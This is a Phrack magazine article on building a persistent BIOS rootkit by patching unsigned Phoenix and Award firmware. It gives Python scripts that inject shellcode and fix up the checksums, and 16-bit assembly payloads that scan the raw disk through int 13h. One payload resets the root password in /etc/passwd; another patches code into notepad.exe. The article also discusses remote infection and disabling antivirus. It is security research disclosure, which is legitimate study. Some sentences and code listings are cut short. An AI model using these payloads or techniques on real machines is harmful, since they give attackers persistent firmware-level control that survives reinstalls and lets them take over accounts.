[ News ] [ Paper Feed ] [ Issues ] [ Authors ] [ Archives ] [ Contact ]

..[ Phrack Magazine ]..
.:: Persistent BIOS infection ::.

Issues: [ 1 ] [ 2 ] [ 3 ] [ 4 ] [ 5 ] [ 6 ] [ 7 ] [ 8 ] [ 9 ] [ 10 ] [ 11 ] [ 12 ] [ 13 ] [ 14 ] [ 15 ] [ 16 ] [ 17 ] [ 18 ] [ 19 ] [ 20 ] [ 21 ] [ 22 ] [ 23 ] [ 24 ] [ 25 ] [ 26 ] [ 27 ] [ 28 ] [ 29 ] [ 30 ] [ 31 ] [ 32 ] [ 33 ] [ 34 ] [ 35 ] [ 36 ] [ 37 ] [ 38 ] [ 39 ] [ 40 ] [ 41 ] [ 42 ] [ 43 ] [ 44 ] [ 45 ] [ 46 ] [ 47 ] [ 48 ] [ 49 ] [ 50 ] [ 51 ] [ 52 ] [ 53 ] [ 54 ] [ 55 ] [ 56 ] [ 57 ] [ 58 ] [ 59 ] [ 60 ] [ 61 ] [ 62 ] [ 63 ] [ 64 ] [ 65 ] [ 66 ] [ 67 ] [ 68 ] [ 69 ] [ 70 ]
Current issue : #66 | Release date : 2009-11-06 | Editor : The Circle of Lost Hackers
Phrack Prophile on The PaX TeamTCLH
Phrack World NewsTCLH
Abusing the Objective C runtimenemo
Backdooring Juniper FirewallsGraeme
Exploiting DLmalloc frees in 2009huku
Persistent BIOS infectionaLS and Alfredo
Exploiting UMA : FreeBSD kernel heap exploitsargp and karl
Exploiting TCP Persist Timer Infinitenessithilgore
Malloc Des-Maleficarumblackngel
A Real SMM RootkitCore Collapse
Alphanumeric RISC ARM ShellcodeYYounan and PPhilippaerts
Power cell buffer overflowBSDaemon
Binary Mangling with Radarepancake
Linux Kernel Heap Tampering DetectionLarry H
Developing MacOS X Kernel Rootkitsghalen and wowie
How close are they of hacking your braindahut
Title : Persistent BIOS infection
Author : aLS and Alfredo
				==Phrack Inc.==

		Volume 0x0d, Issue 0x42, Phile #0x07 of 0x11

|=--------------------=[  Persistent BIOS Infection   ]=-----------------=|
|=-----------------=[ "The early bird catches the worm" ]=---------------=|
|=---------------=[  .aLS - anibal.sacco@coresecurity.com  ]=------------=|
|=---------------=[   Alfredo - alfredo@coresecurity.com   ]=------------=|
|=---------------------------=[ June 1 2009 ]=---------------------------=|

------[  Index

  0 - Foreword

  1 - Introduction
    1.1 - Paper structure

  2 - BIOS basics
    2.1 - BIOS introduction
        2.1.1 - Hardware
        2.1.2 - How it works? 
    2.2 - Firmware file structure
    2.3 - Update/Flashing process

  3 - BIOS Infection
	3.0 - Initial setup
	3.1 - VMWare's (Phoenix) BIOS modification
        3.1.1 - Dumping the VMWare BIOS
        3.1.2 - Setting up VMWARE to load an alternate BIOS
        3.1.3 - Unpacking the firmware
		3.1.4 - Modification
		3.1.5 - Payload - The Ready Signal
		3.1.6 - OptionROM

    3.2 - Real (Award) BIOS modification
		3.2.1 - Dumping the real BIOS firmware
		3.2.2 - Modification
        3.2.3 - Payload

  4 - BIOS32 (Direct kernel infection)
  5 - Future and other uses
  	5.1 - SMM!

  6 - Greetz

  7 - References

  8 - Sources - Implementation details

------[ 0.- Foreword
Dear reader, if you're here we can assume that you already know what 
the BIOS is and how it works. Or, at least, you have a general 
picture of what the BIOS does, and its importance for the normal 
operation of a computer. Based on that, we will briefly explain some 
basic concepts to get you into context and then we'll jump to the, 
more relevant, technical stuff.
------[ 1.- Introduction
Over the years, a lot has been said about this topic. But, apart of 
the old Chernobyl virus, which just zeroed the BIOS if you 
motherboard was one of the supported, or some modifications with 
modding purposes (that were a very valuable source of data, btw) 
like Pinczakko's work, we wouldnt be able to find any public 
implementation of a working, generical and malicious BIOS infection.
Mostly, the people tends to think that this is a very researched, 
old and already mitigated technique. It is sometimes even confused 
whith the obsolet MBR viruses. But, is our intention to show that 
this kind of attacks are possible and could be, with the aproppiated 
OS detection and infection techniques, a very trustable and persistent
rootkit residing just inside of the BIOS Firmware.
In this paper we will show a generic method to inject code into 
unsigned BIOS firmwares. This technique will let us embedd our own 
code into the BIOS firmware so that it will get executed just before
the loading of the operating system. 
We will also demonstrate how having complete control of the hard 
drives allows us to leverage true persistency by deploying fully 
functional code directly into a windows process or just by modifying 
sensitive OS data in a Linux box. 
---[ 1.1 - Paper structure
The main idea of this paper is to show how the BIOS firmware can be
modified and used as a persistence method after a successful 
So, we will start by doing a little introduction and then we will 
focus the paper on the proof of concept code, splitting the paper 
in two main sections:
  - VMWare's (Phoenix) BIOS modification
  - Real (Award) BIOS modification
In each one we will explain the payloads to show how the attack is 
done, and then we'll jump directly to see the payload code.

------[ 2.- BIOS Basics
---[2.1 - BIOS introduction
From Wikipedia [1]:
    "The BIOS is boot firmware, designed to be the first code run by a 
    PC when powered on. The initial function of the BIOS is to identify
    test, and initialize system devices such as the video display card,
    hard disk, and floppy disk and other hardware. This is to prepare 
    the machine into a known state, so that software stored on 
    compatible media can be loaded, executed, and given control of the 
    PC.[3] This process is known as booting, or booting up, which is 
    short for bootstrapping."

    "...provide a small library of basic input/output functions that 
    can be called to operate and control the peripherals such as the 
    keyboard, text display functions and so forth. In the IBM PC and 
    AT, certain peripheral cards such as hard-drive controllers and 
    video display adapters carried their own BIOS extension ROM, which
    provided additional functionality. Operating systems and executive
    software, designed to supersede this basic firmware functionality,
    will provide replacement software interfaces to applications.
---[2.1.1 - Hardware     
Back in the 80's the BIOS firmware was contained in ROM or PROM 
chips, which could not be altered in any way, but nowadays, this 
firmware is stored in an EEPROM (Electrically Erasable 
Programmable Read-Only Memory). This kind of memory allows the user
to reflash it, allowing the vendor to offer firmware updates in 
order to fix bugs, support new hardware and to add new 
---[2.1.2 - How it works?
The BIOS has a very important role in the functioning of a 
It should be always available as it holds the first instruction
executed by the CPU when it is turned on. This is why it is stored
in a ROM.
The first module of the BIOS is called Bootblock, and it's in 
charge of the POST (Power-on self-test) and Emergency boot 
procedures. POST is the common term for a computer, router or 
printer's pre-boot sequence. It has to test and initialize almost 
all the different hardware components in the system to make sure 
everything is working properly.
The modern BIOS has a modular structure, which means that there are
several modules integrated on the same firmware, each one in charge
of a different specific task; from hardware initialization to 
security measures.
Each module is compressed, therefore there is a decompression 
routine in charge of the decompression and validation of the 
others modules that will be subsequently executed.  

After decompression, some other hardware is initialized, such as 
PCI Roms (if needed) and at the end, it reads the sector 0 of the
hard drive (MBR) looking for a boot loader to start loading the 
Operating System.
---[2.2 - Firmware file structure
As we said before, the BIOS firmware has a modular structure. When 
stored in a normal plain file, it is composed of several LZH
compressed modules, each of them containing an 8 bit checksum.
However, not all the modules are compressed, a few modules like the
Bootblock and the Decompression routine are obviously uncompressed 
because they are a fundamental piece of the booting process and 
must perform the decompression of the other modules. Further, 
we will see why this is so convenient for our purposes.
Here we have the output of Phnxdeco (available in the Debian 
repositories), an open source tool to parse and analyze the Phoenix
BIOS Firmware ROMs (that we'll going to extract at 3.1.1):

| Class.Instance (Name)     Packed --->  Expanded      Compression  Offse |

B.03 (    BIOSCODE)   06DAF (28079) => 093F0 ( 37872)  LZINT ( 74%)  446DFh
B.02 (    BIOSCODE)   05B87 (23431) => 087A4 ( 34724)  LZINT ( 67%)  4B4A9h
B.01 (    BIOSCODE)   05A36 (23094) => 080E0 ( 32992)  LZINT ( 69%)  5104Bh
C.00 (      UPDATE)   03010 (12304) => 03010 ( 12304)   NONE (100%)  5CFDFh
X.01 (     ROMEXEC)   01110 (04368) => 01110 (  4368)   NONE (100%)  6000Ah
T.00 (    TEMPLATE)   02476 (09334) => 055E0 ( 21984)  LZINT ( 42%)  63D78h
S.00 (     STRINGS)   020AC (08364) => 047EA ( 18410)  LZINT ( 45%)  66209h
E.00 (       SETUP)   03AE6 (15078) => 09058 ( 36952)  LZINT ( 40%)  682D0h
M.00 (       MISER)   03095 (12437) => 046D0 ( 18128)  LZINT ( 68%)  6BDD1h
L.01 (        LOGO)   01A23 (06691) => 246B2 (149170)  LZINT (  4%)  6EE81h
L.00 (        LOGO)   00500 (01280) => 03752 ( 14162)  LZINT (  9%)  708BFh
X.00 (     ROMEXEC)   06A6C (27244) => 06A6C ( 27244)   NONE (100%)  70DDAh
B.00 (    BIOSCODE)   001DD (00477) => 0D740 ( 55104)  LZINT (  0%)  77862h
*.00 (      TCPA_*)   00004 (00004) => 00004 (   004)   NONE (100%)  77A5Ah
D.00 (     DISPLAY)   00AF1 (02801) => 00FE0 (  4064)  LZINT ( 68%)  77A79h
G.00 (  DECOMPCODE)   006D6 (01750) => 006D6 (  1750)   NONE (100%)  78585h
A.01 (        ACPI)   0005B (00091) => 00074 (   116)  LZINT ( 78%)  78C76h
A.00 (        ACPI)   012FE (04862) => 0437C ( 17276)  LZINT ( 28%)  78CECh
B.00 (    BIOSCODE)   00BD0 (03024) => 00BD0 (  3024)   NONE (100%)  7D6AAh

We can see here the different parts of the Firmware file, 
containing the DECOMPCODE section, where the decompression routine
is located, as well as the other not-covered-in-this-paper 
---[2.3 - Update/Flashing process
The BIOS software is not so different from any other software.
It's prone to bugs in the same way as other software is. 
Newer versions come out adding support for new hardware, features 
and fixing bugs, etc. But the flashing process could be very 
dangerous on a real machine. The BIOS is a fundamental component 
of the computer. It's the first piece of code executed when a 
machine is turned on. This is why we have to be very carefully when
doing this kind of things. A failed BIOS update can -and probably
will- leave the machine unresponsive. And that just sucks.
That is why it's so important to have some testing platform, such 
as VMWare, at least for a first approach, because, as we'll see,
there are a lot of differences between the vmware version vs. the
real hardware version.

------[ 3.- BIOS Infection

---[3.0 - Initial setup

---[3.1 - VMWare's (Phoenix) BIOS modification

First, we have to obtain a valid VMWARE BIOS firmware to work on. 
In order to read the EEPROM where the BIOS firmware is stored we 
need to run some code in kernel mode to let us send and receive 
data directly to the southbridge through the IO Ports. To do this,
we also need to know some specific data about the current hardware.
This data is usually provided by the vendor. Furthermore, almost 
all motherboard vendors provide some tool to update the BIOS, and 
very often, they have an option to backup or dump the actual 

In VMWare we can't use this kind of tools, because the emulated 
hardware doesn't have the same functionality as the real hardware.
This makes sense... why would someone would like to update the
VMWare BIOS from inside...?
---[3.1.1 - Dumping the VMWare BIOS
When we started this, it was really helpful to have the embedded 
gdb server that VMWare offers. This let us debug and understand 
what was happening. 
So in order to patch and modify some little pieces of code to start
testing, we used some random byte arrays as patterns to find the
BIOS in memory. 
Doing this we found that there is a little section of almost 256kb
in vmware-vmx, the main vmware executable, called .bios440 
( that in our vmware version is located between the file offset
0x6276c7-0x65B994 ) that contains the whole BIOS firmware, in the 
same way as it is contained in a normal file ready to flash.
You can use objdump to see the sections of the file: 
objdump -h vmware-vmx
And you can dump it to a file using the objcopy tool:
objcopy -j .bios440 -O binary --set-section-flags .bios440=a \ 
vmware-vmx bios440.rom.zl
Umm... this means that... if we have root privileges in the victim
machine, we could use our amazing power to modify the vmware-vmx 
executable, inserting our own infected bios and it will be 
executed each time a vmware starts, for every vmware of the 
computer. Sweet!
But, there are simpler ways to accomplish this task. We are going 
to modify it a lot of times and it is not going to work most of 
the times so.. the simpler, the better.

---[3.1.2 - Setting up VMWARE to load an alternate BIOS

We found that VMWare offers a very practical way to let the user 
provide an specific BIOS firmware file directly through the .VMX 
configuration file.
This not-so-known tag is called "bios440.filename" and it let us 
avoid using VMWare's built-in BIOS and instead allows us to 
specify a BIOS file to use.
You have to add this line in your .VMX file:
	bios440.filename = "path/to/file/bios.rom"
And, voila!, now you have another BIOS firmware running in your VM,
and in 	combination with:
	debugStub.listen.guest32 = "TRUE" or
	debugStub.listen.guest64 = "TRUE" 
that will leave the VMWare's gdb stub waiting for your connection 
on localhost on port 8832. You will end up with an excellent -and 
completely debuggable- research scenery.  Nice huh?

Other important hidden tags that can be useful to define are:
        bios.bootDelay = "3000"                  # To delay the boot X 
        debugStub.hideBreakpoints = "TRUE"       # Allows gdb breakpoints 
                                                   to work
        debugStub.listen.guest32.remote = "TRUE" # For debugging from 
                                                   another machine (32bit)
        debugStub.listen.guest64.remote = "TRUE" # For debugging from 
                                                   another machine (64bit)
        monitor.debugOnStartGuest32 = "TRUE"     # This will halt the VM 
                                                   at the very first 
                                                   instruction at 0xFFFF0
---[3.1.3 - Unpacking the firmware

As we mentioned before, some of the modules are compressed
with an LZH variation. There are a few available tools to
extract and decompress each individual module from the
Firmware file. The most used are Phnxdeco and Awardeco (two
excellent linux GPL tools) together with Phoenix BIOS Editor
and Award BIOS editor (some non GPL tools for windows).
You can use Phoenix BIOS editor over linux using wine if you
want.  It will extract all the modules in a /temp directory
inside the Phoenix BIOS editor ready to be open with your
preferred disassembler.
The great news about Phoenix BIOS Editor is that it can also
rebuild the main firmware file. It can recompress and 
integrate all the different decompressed modules to let it 
just as it was at the beggining.
The only thing is that it was done for older Phoenix BIOSes, 
and it misses the checksum so we will have to do it by 
ourselves as we'll see at

Some of these tasks are done by isolated tools that can be
invoked directly from a command line, which is very practical
in order to automate the process with simple scripts.

---[3.1.4 - Modification

So, here we are. We have all the modules unpacked, and the
possibility of modifying them, and then rebuild them in a
fully working BIOS flash update.
The first thing to deal with now is 'where to patch'. We can
place a hook in almost any place to get our code executed but
we have to think things through before deciding on where to
At the beginning we thought about hooking the first
instruction executed by the CPU, a jump at 0xF000:FFF0. It
seemed to be the best option because it is always in the same
place, and is easy to find but we have to take into
consideration the execution context. To have our code running
there should imply doing all the hardware initialization by
ourselves (DRAM, Northbridge, Cache, PCI, etc.) 
For example, if we want to do things like accessing the hard
drive we need to be sure that when our code gets executed it
already has access to the hard drive. 
For this reason, and because it doesn't change between
different versions, we've chosen to hook the decompression
routine. It is also very easy to find by looking for a
pattern. It is uncompressed, and is called many times during
the BIOS boot sequence letting us check if all the needed
services are available before doing the real stuff.

Here we have a dump script to quickly extract the firmware
modules, assemble the payloads, inject it, and reassemble the
modified firmware file.
PREPARE.EXE and CATENATE.EXE are propietary tools to build
phoenix firmware that you can find inside the Phoenix BIOS
Editor and packaged with other flashing tools.
In later versions of this script this tools arent needed anymore. (as
seen at
#!/usr/bin/python import os,struct

#--------------------------- Decomp processing ------------------------------
#assemble the whole code to inject
os.system('nasm ./decomphook.asm')
decomphook = open('decomphook','rb').read()
print "Leido hook: %d bytes" % len(decomphook)
minihook = '\x9a\x40\x04\x3b\x66\x90' # call near +0x430

#Load the decompression rom
decorom = open('DECOMPC0.ROM.orig','rb').read()

#Add the hook
decorom = decorom[:hookoffset]+minihook+decorom[len(minihook)+hookoffset:]

#Add the shellcode

#recalculate the ROM size

#Save the patched decompression rom

print "Prepare..."
os.system('./PREPARE.EXE ./ROM.SCR.ORIG')
print "Catenate..."
os.system('./CATENATE.EXE ./ROM.SCR.ORIG')
os.system('rm *.MOD')
---[3.1.5 - Payload

Before talking about the payload, we have to resolve *where*
are we going to store our payload, and this is not a trivial
task. We found that there is a lot of padding space at the end
of the decompression routine that, when allocated, will be
used as a buffer to hold the decompressed code. Trashing in
this way, any code that we can store there. This adds a bit of
complexity to the payload, because it makes us split the
shellcode in two stages.

The first one gets executed by setting a very typical hook in
the prolog of the decompression routine. A simple relative
call that redirects the execution flow to our code and moves
the second stage to a safe hardcoded place that we know
remains unused during the whole boot process. Then, updates
the hook making it point to the new address and executes the
instructions smashed by the original call
                |                                  |
                |              HOOK                +->---.
                |..................................|     |
           .--->|                                  |     |
           |    |                                  |     |
           |    |       DECOMPRESSION BLOCK        |     |
           |    |                                  |     |
           |    |                                  |     |
           |    |__________________________________|     |
           |    |                                  |<----'
           |    |       First Stage Payload        |
           |    |       (Moves second stage        |
           |    |         to a safe place          |
           |    |       and updates the hook)      |
           |    |                                  |
           |    |..................................|
           `--<-+       Code smashed by hook       |
                |                                  |
                |       Second Stage Payload       |
                |                                  |
                |                                  |
Lets see the code:


;Extent to search (in 64K sectors, aprox 32 MB)
%define EXTENT 10 


   ;save regs
   ;jmp start_mover

   ; set dst params to move the shellcode
    xor ax, ax
    xor di, di
    xor si, si
    push cs
    pop ds
    mov es, ax ; seg_dst
    mov di, 0x8000 ; off_dst
    mov cx, 0xff ; code_size

   ; get_eip to have the 'source' address
    call b
    pop si
    add si, 0x25  (Offset needed to reach the second stage payload)
    rep movsw

    mov ax, word [esp+0x12] ; get the caller address to patch the original hook
    sub ax, 4
    mov word [eax], 0x8000 ; new_hook offset
    mov word [eax+2], 0x0000 ; new_hook segment

    ; restore saved regs

    ; execute code smashed by 'call far'
    ;mov es,ax
    mov bx,es
    mov fs,bx
    mov ds,ax
    ;Here goes a large nopsled and next, the second stage payload

The second stage, now residing in an unused space, has got to
have some ready signal to know if the services that we want to
use are available..
---[ - The Ready Signal

In the VMWare we've seen that when our second-stage payload is called,
and the IVT is already initialized, we have all we need to do our
stuff.  Based on that we chose to use the IVT initialization as our
ready signal.  This is very simple because it's always mapped at
0000:0000. Every time the shellcode gets executed first checks if the
IVT is initialized with valid pointers, if it is the shellcode is
executed, if not it returns without doing anything.

---[ - The Real stuff
Now we have our code executed and we know that we have all the
services we need so what are we going to do? We can't interact with
the OS from here. 
In this moment the operating system is just a char array sitting on
the disk. But hey! wait, we have access to the disk through the int
13h (Low Level Disk Services).. we can modify it in any way we want!.
Ok, let's do it.
In a real malicious implementation, you would like to code some sort
of basic driver to correctly parse the different filesystem
structures, at least for FAT & NTFS (maybe reusing GRUB or LILO code?)
but for this paper, just as Proof of Concept, we will use the Int 13h
to sequentially read the disk in raw mode.  We will look for a pattern
in a very stupid way and it will work, but doing what we said before,
in a common scenery, will be possible to modify, add and delete any
desired file of the disk allowing an attacker to drop driver modules,
infect files, disable the antivirus or anti rootkits, etc.

This is the shellcode that we've used to walk over the whole
disk matching the pattern: "root:$" in order to find the root
entry of the /etc/passwd file.

Then, we replace the root hash with our own hash, setting the
password "root" for the root user.

; The shellcode doesn't have any type of optimization, we tried to keep it 
; simple, 'for educational purposes' 

; 16 bit shellcode
; use LBA disk access to change root password to 'root'

BITS 16	
	push es
	push ds

	; Get code address
	call gca
gca:    pop bx

	; construct DAP
	push cs
	pop ds
	mov si,bx
	add si,0x1e0 ; DAP 0x1e0 from code
	mov cx,bx
	add cx,0x200 ; Buffer pointer 0x200 from code
	mov byte [si],16 ;size of SAP
	inc si
	mov byte [si],0  ;reserved
	inc si
	mov byte [si],1  ;number of sectors
	inc si
	mov byte [si],0  ;unused
	inc si
	mov word [si],cx ;buffer segment
	add si,2
	mov word [si],ds;buffer offset
	add si,2
	mov word [si],0 ; sector number
	add si,2
	mov word [si],0 ; sector number
	add si,2
	mov word [si],0 ; sector number
	add si,2
	mov word [si],0 ; sector number

	mov di,0
	mov si,0
	push di
	push si
	;-------- Inc sector number
	mov cx,3
	mov si,bx
	add si,0x1e8
	mov ax,word [si]
	inc ax
	mov word [si],ax
	cmp ax,0
	jne incend
	add si,2
	loop loopinc
	;-------- LBA extended read sector
	mov ah,0x42 ; call number
	mov dl,0x80 ; drive number 0x80=first hd
	mov si,bx
	add si,0x1e0
	int 0x13
	jc mainend

	;-------- Search for 'root'
	mov di,bx
	add di,0x200 ; pointer to buffer
	mov cx,0x200 ; 512 bytes per sector
	cmp word [di],'ro'
	jne notfound
	cmp word [di+2],'ot'
	jne notfound
	cmp word [di+4],':$'
	jne notfound
	jmp found ; root found!
	inc di
	loop searchloop

	pop si
	pop di

	inc di
	cmp di,0
	jne mainloop
	inc si
	cmp si,3
	jne mainloop

	pop ds
	pop es
	int 3
;replace password with: 
;Yes we could've used rep movsb, but we kinda suck.
	mov word[di+6],'2a'
	mov word[di+8],'$0'
	mov word[di+10],'8$'
	mov word[di+12],'Gr'
	mov word[di+14],'rD'
	mov word[di+16],'Ve'
	mov word[di+18],'DJ'
	mov word[di+20],'9A'
	mov word[di+22],'XX'
	mov word[di+24],'lX'
	mov word[di+26],'Oo'
	mov word[di+28],'bf'
	mov word[di+30],'fO'
	mov word[di+32],'kL'
	mov word[di+34],'On'
	mov word[di+36],'Fy'
	mov word[di+38],'Rj'
	mov word[di+40],'k2'
	mov word[di+42],'N0'
	mov word[di+44],'/4'
	mov word[di+46],'S8'
	mov word[di+48],'Yu'
	mov word[di+52],'p3'
	mov word[di+54],'3s'
	mov word[di+56],'D4'
	mov word[di+58],'3w'
	mov word[di+60],'SH'
	mov word[di+62],'Fz'
	mov word[di+64],'i:'
	;-------- LBA extended write sector
	mov ah,0x43 ; call number
	mov al,0 ; no verify 
	mov dl,0x80 ; drive number 0x80=first hd
	mov si,bx
	add si,0x1e0
	int 0x13
	jmp mainend

This other is basically the same payload, but in this case we walk
over the whole disk trying to match a pattern inside notepad.exe, and
then we inject a piece of code with a simple call to MessaBoxA and
ExitProcess to finish it gracefully. 

		        ;jmp hook_start
		        ;mov bx,es
		        ;mov fs,bx
		        ;mov ds,ax

		        xor di,di
			mov ds,di
			; check to see if int 19 is initialized
			cmp byte [0x19*4],0x00 
			jne ifint

		        ;jmp noint ; loop to debug
		        ;mov es, ax
		        mov bx, es
			mov fs, bx
			mov ds, ax

		        ;jmp ifint ; loop to debug
			cmp byte [0x19*4],0x46
		        je noint


		    ;jmp initShellcode ; DEBUG
		    push es
		    push ds

		    ; Get code address
		    call gca

		    pop bx
		    ;---------- Set screen mode
		    mov ax,0x0003
		    int 0x10
		    ;---------- construct DAP
		    push cs
		    pop ds
		    mov si,bx
		    add si,0x2e0 ; DAP 0x2e0 from code
		    mov cx,bx
		    add cx,0x300 ; Buffer pointer 0x300 from code
		    mov byte [si],16 ;size of SAP
		    inc si
		    mov byte [si],0  ;reserved
		    inc si
		    mov byte [si],1  ;number of sectors
		    inc si
		    mov byte [si],0  ;unused
		    inc si
		    mov word [si],cx ;buffer segment
		    add si,2
		    mov word [si],ds;buffer offset
		    add si,2
		    mov word [si],0 ; sector number
		    add si,2
		    mov word [si],0 ; sector number
		    add si,2
		    mov word [si],0 ; sector number
		    add si,2
		    mov word [si],0 ; sector number

		    mov di,0
		    mov si,0

		    ;-------- Function 41h: Check Extensions
		    push bx
		    mov ah,0x41 ; call number
		    mov bx,0x55aa;
		    mov dl,0x80 ; drive number 0x80=first hd
		    int 0x13
		    pop bx
		    jc mainend_near
		    ;-------- Function 00h: Reset Disk System
		    mov ah, 0x00
		    int 0x13
		    jc mainend_near
		    jmp mainloop
		    jmp mainend
		    cmp di,0
		    jne nochar
		    ;------- progress bar (ABCDE....)
		    push bx
		    mov ax,si
		    mov ah,0x0e
		    add al,0x41
		    mov bx,0
		    int 0x10
		    pop bx
		    push di
		    push si
		    ;jmp incend    ;
		    ;-------- Inc sector number
		    mov cx,3
		    mov si,bx      ; bx = curr_pos 
		    add si,0x2e8   ; +2e8 LBA Buffer

		    mov ax,word [si]
		    inc ax
		    mov word [si],ax
		    cmp ax,0
		    jne incend
		    add si,2
		    loop loopinc

		    ;jmp int_test
		    ;-------- LBA extended read sector
		    mov ah,0x42 ; call number
		    mov dl,0x80 ; drive number 0x80=first hd
		    mov si,bx
		    add si,0x2e0
		    int 0x13
		    jnc int13_no_err
		    ;-------- Write error character
		    push bx
		    mov ax,0x0e45
		    mov bx,0x0000
		    int 0x10
		    pop bx
		    ;-------- Search for 'root'
		    mov di,bx
		    add di,0x300 ; pointer to buffer
		    mov cx,0x200 ; 512 bytes per sector

		    cmp word [di],0x706a
		    jne notfound
		    cmp word [di+2],0x9868
		    jne notfound
		;    je debugme
		    cmp word [di+4],0x0018
		    jne notfound
		    cmp word [di+6],0xe801  
		    jne notfound
		    jmp found ; root found!

		    inc di
		    loop searchloop

		    pop si
		    pop di

		    inc di
		    cmp di,0
		    jne mainloop
		    inc si
		    cmp si,EXTENT ;------------ 10x65535 sectors to read
		    jne mainloop
		    jmp mainend

		    pop si
		    pop di

		    pop ds
		    pop es

		    mov bx, es
		    mov fs, bx
		    mov ds, ax

		    push bx
		    mov ah,0x0e
		    mov bx,0x0000
		    int 0x10
		    pop bx
		    mov al,0x46
		    call writechar

    		;mov word[di], 0xfeeb ; Infinite loop - Debug
		    mov word[di], 0x00be
		    mov word[di+2], 0x0100
		    mov word[di+4], 0xc700
		    mov word[di+6], 0x5006
		    mov word[di+8], 0x4e57
		    mov word[di+10], 0xc744
		    mov word[di+12], 0x0446
		    mov word[di+14], 0x2121
		    mov word[di+16], 0x0100
		    mov word[di+18], 0x016a
		    mov word[di+20], 0x006a
		    mov word[di+22], 0x6a56
		    mov word[di+24], 0xbe00
		    mov word[di+26], 0x050b
		    mov word[di+28], 0x77d8
		    mov word[di+30], 0xd6ff
		    mov word[di+32], 0x00be
		    mov word[di+34], 0x0000 
		    mov word[di+36], 0x5600
		    mov word[di+38], 0xa2be
		    mov word[di+40], 0x81ca
		    mov word[di+42], 0xff7c
		    mov word[di+44], 0x90d6

		;-------- LBA extended write sector
		    mov ah,0x43 ; call number
		    mov al,0 ; no verify 
		    mov dl,0x80 ; drive number 0x80=first hd
		    mov si,bx
		    add si,0x2e0
		    int 0x13
		    jmp notfound; continue searching
---[3.2 - Real (Award) BIOS modification

VMWare turned to be an excellent BIOS research and development
platform.  But to complete this research, we have to attack a real
system.  For this modification we used a common motherboard (Asus
A7V8X-MX), with an Award-Phoenix 6.00 PG BIOS, a very popular version.

---[3.2.1 - Dumping the real BIOS firmware

FLASH chips are fairly compatible, even interchangeable. But they are
connected to the motherboard in many different ways (PCI, ISA bridge,
etc.), and that makes reading them in a generic way a non-trivial
problem.  How can we make a generic rootkit if we can't even find a
way to reliably read a flash chip?  Of course, a hardware flash reader
is a solution, but at the time we didn't have one and is not really an
option if you want to remotely infect a BIOS without physical access.

So we started looking for software-based alternatives.  The first tool
that we found worked fine, which was the Flashrom utility from the
coreboot open-source project, see [COREBOOT] (Also available in the
Debian repositories).  It contains an extensive database of chips and
read/write methods. We found that it almost always works, even if you
have to manually specify the IC model, as it's not always
automatically detected.

        $ flashrom -r mybios.rom

Generally, the command above is all that you need. The bios should be
in the mybios.rom file.

A trick that we learned is that if it says that it can't detect the
Chip, you should do a script to try every known chip. We have yet to
find BIOS that can't be read using this technique. Writing is slightly
more difficult, as Flashrom needs to correctly identify the IC to
allow writing to it. This limitation can by bypassed modifying the
source code but beware that you can fry your motherboard this way.

We also used flashrom as a generic way to upload the modified BIOS
back to the motherboard.

---[3.2.2 - Modification

Once we have the BIOS image on our hard disk, we can start the process
of inserting the malicious payload.

When modifying a real bios, and in particular an award/phoenix BIOS, we
faced some big problems:
       	1) Lack of documentation of the bios structure
    	2) Lack of packing/unpacking tools
       	3) No easy way to debug real hardware.

There are many free tools to manipulate BIOS, but as it always happen
with proprietary formats, we couldn't find one that worked with our
particular firmware.  We can cite the Linux awardeco and phnxdeco
utilities as a starting point, but they tend to fail on modern BIOS

Our plan to achieve execution was:
       	1) We must insert arbitrary modifications (this implies the
       	   knowledge of checksum positions and algorithms)
       	2) A basic hook should be inserted on a generic, easy to
       	   find portion of the BIOS.
       	3) Once the generic hook is working, then a Shellcode could be 

---[ - Black Screen of Death

You have to know that you're going to trash a lot of BIOS chips in
this process.  But most BIOSes have a security mechanism to restore a
damaged firmware. RTFM (Read the friendly manual of the motherboard)

If this doesn't work, you can use the chip hot-swapping technique: You
boot with a working chip, then you hot-swap it with the damaged one,
and reflash. Of course, for this technique you will need to have
another working backup BIOS.

---[ - Changing one bit at time
Our initial attempts were unsuccessful and produced mostly unbootable
systems. Basically we ignored how many checksums the bios had, and you
must patch everyone of them or face the terrifying "BIOS CHECKSUM
ERROR" black screen of death.  The black screen of death got us
thinking, it says "CHECKSUM" so, it must be some kind of addition
compared to a number. And this kind of checks can be easily bypassed,
injecting a number at some point that will *compensate* the addition.
Isn't this the reason why CRC was invented after all?  It turns out
that all the checksums were only 8-bits, and by touching only one byte
at the end of the shellcode, all the checksums were compensated.  You
can find the very simple algorithm to do this on the attachments,
inside this python script:


	import os,sys,math

	# Usage
	if len(sys.argv)<3:
        	print "Modify and recalculate Award BIOS checksum"
	        print "Usage: %s <original bios> <assembly shellcode 
		file>" % (sys.argv[0])

	# assembly the file
	scasm = sys.argv[2]
	sccom = "%s.bin" % scasm
	os.system("nasm %s -o %s " % (scasm,sccom) )
	shellcode = open(sccom,'rb').read()
	shellcode = shellcode[0xb55:] # skip the NOPs
	print ("Shellcode lenght: %d" % len(shellcode))

	# Make a copy of the original BIOS
	modifname = "%s.modif" % sys.argv[1]
	origname = sys.argv[1]
	os.system("cp %s %s" % (origname,modifname) )

	#merge shellcode with original flash
	insertposition = 0x3af75
	modif = open(modifname,'rb').read()
	#insert hook
	hookposition = 0x3a41d
	hook="\xe9\x55\x0b" # here is our hook,
			    # at the end of the bootblock

	#read original flash
	orig  = open(sys.argv[1],'rb').read()
	# calculate original and modified checksum
	# Sorry, this script is not *that* generic
	# you will have to harvest these values
	# manually, but you can craft an automatic
	# one using pattern search. 
	# These offsets are for the Asus A7V8X-MX
	# Revision 1007-001
	ochksum=0 # original checksum
	mchksum=0 # modified checksum
	for i in range(start_of_decomp_blk,start_of_compensation):
	print "Checksums: Original= %08X Modified= %08X" % (ochksum,mchksum)
	# calculate difference

	chkdiff = (mchksum & 0xff) - (ochksum & 0xff)

	print "Diff : %08X" % chkdiff
	# balance the checksum
	newbios+=chr( (0x1FF-chkdiff) & 0xff )
	mchksum=0 # modified checksum
	ochksum=0 # modified checksum
	for i in range(start_of_decomp_blk,end_of_decomp_blk):
	print "Checksum: Original = %08X Final= %08X" % (ochksum,mchksum)
	print "(Please check the last digit, must be the same in both checkums)"
	print "New bios saved as %s" % newbiosname
With this technique we successfully changed one bit, then one byte, then
multiple bytes on a uncompressed region of the BIOS. The first step was

---[ - Inserting the Hook
The hook is in exactly the same place: the decompressor block.  We
also jumped to the same place that in the VMWARE code injection: In
the end of the decompressor block generally there is enough space to
do a pretty decent first stage shellcode.  It's easy to find. Hint:
look for "= Award Decompression Bios =" In Phoenix bios, is the block
